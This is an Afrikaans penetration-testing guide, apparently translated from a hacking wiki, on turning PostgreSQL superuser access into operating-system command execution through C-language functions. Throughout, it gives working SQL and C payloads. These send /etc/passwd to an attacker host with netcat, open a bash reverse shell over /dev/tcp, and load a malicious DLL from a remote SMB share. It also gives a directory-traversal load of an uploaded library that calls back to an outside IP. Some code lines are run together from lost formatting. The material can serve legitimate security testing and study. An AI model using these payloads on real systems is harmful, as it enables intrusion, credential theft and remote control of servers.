PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik maak om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C is, verryk die databasis met bykomende funksies, operators of tipes.
Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
Die uitvoering van stelselinstruksies vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en eenvoudig is. Dit is moontlik om hierdie: Metasploit module te gebruik.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Skryf binêre lêer vanaf base64
Om 'n binêre lêer in postgres te skryf, mag jy base64 moet gebruik, dit sal nuttig wees vir daardie saak:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
egter, toe dit op groter weergawes probeer is is die volgende fout gewys:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat saamgekom is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat jy die koptekst fmgr.h ingesluit het:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te benut moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek oplaai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad om PostgreSQL-stelsels te benut aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
Compile die biblioteek
Kry die PsotgreSQL weergawe met:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
Dan laai die saamgestelde biblioteek op en voer opdragte uit met:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
U kan hierdie biblioteek vooraf saamgekompileer vind vir verskeie versies van PostgreSQL en kan selfs hierdie proses outomatiseer (as u PostgreSQL-toegang het) met:
RCE in Windows
Die volgende DLL neem as invoer die naam van die binêre en die nommer van keer wat u dit wil uitvoer en voer dit uit:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
U kan die DLL wat in hierdie zip saamgepers is, vind:
U kan aan hierdie DLL watter binêre uit te voer en die aantal keer om dit uit te voer, aandui; in hierdie voorbeeld sal dit calc.exe 2 keer uitvoer:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Let op hoe in hierdie geval die kwaadwillige kode binne die DllMain-funksie is. Dit beteken dat dit in hierdie geval nie nodig is om die gelaaide funksie in postgresql uit te voer nie, net om die DLL te laai sal die terugskakel uitvoer:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Die PolyUDF projek is ook 'n goeie beginpunt met die volle MS Visual Studio projek en 'n gereed-om-te-gebruik biblioteek (insluitend: command eval, exec en cleanup) met multiversieondersteuning.
RCE in die nuutste PostgreSQL weergawes
In die nuutste weergawes van PostgreSQL is daar beperkings opgelê waar die superuserverbied word om gesamentlike biblioteeklêers te laai behalwe uit spesifieke gidse, soos C:\Program Files\PostgreSQL\11\lib op Windows of /var/lib/postgresql/11/lib op *nix stelsels. Hierdie gidse is beveilig teen skryfoperasies deur óf die NETWORK_SERVICE óf postgres rekeninge.
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis superuser om binaire lêers na die lêerstelsel te skryf deur "groot voorwerpe." Hierdie vermoë strek tot skryf binne die C:\Program Files\PostgreSQL\11\data gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
'n Beduidende kwesbaarheid ontstaan uit die CREATE FUNCTION opdrag, wat toelaat dat gidse deurgegaan word in die datagids. Gevolglik kan 'n geverifieerde aanvaller hierdie deurgang benut om 'n gesamentlike biblioteeklêer in die datagids te skryf en dit dan te laai. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
Aanvalstroom
Eerstens moet jy groot voorwerpe gebruik om die dll op te laai. Jy kan sien hoe om dit hier te doen:
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Note dat jy nie die .dll uitbreiding hoef by te voeg nie, aangesien die create function dit sal byvoeg.